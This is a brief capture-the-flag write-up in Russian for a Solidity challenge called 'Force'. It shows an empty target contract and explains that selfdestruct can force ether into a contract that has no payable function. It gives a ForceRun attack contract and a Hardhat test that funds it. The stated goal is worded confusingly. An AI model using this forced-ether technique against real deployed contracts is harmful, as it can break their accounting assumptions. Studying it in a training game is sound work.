УРОВЕНЬ 7 (сила):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/_/ /
____/ o o
/~____ =ø= /
(______)__m_m)
*/}
Требования к допуску
Не допускать снижения баланса контракта до нуля
Ключевые моменты
Для того чтобы контракт мог принять передачу, он должен иметь метод получения/возврата или другой внешний метод, который подлежит оплате, иначе передача будет сообщена как ошибка.
Исключением является то, что адрес получателя, указанный при самоуничтожении, не может отказаться от передачи уничтоженного баланса получателю.
Решение
контракты/07ForceRun.sol
contract ForceRun {
function destory(address _levelAddress) external payable {
//selfdestruct指定的地址,就算没有receive/fallback也是无法拒接把balance转给它
selfdestruct(payable(_levelAddress));
}
}
test/07Force.js
it("attacks", async function () {
await runContract
.connect(player)
.destory(levelContract.address, {
value: ethers.utils.parseEther("0.1"),
});
});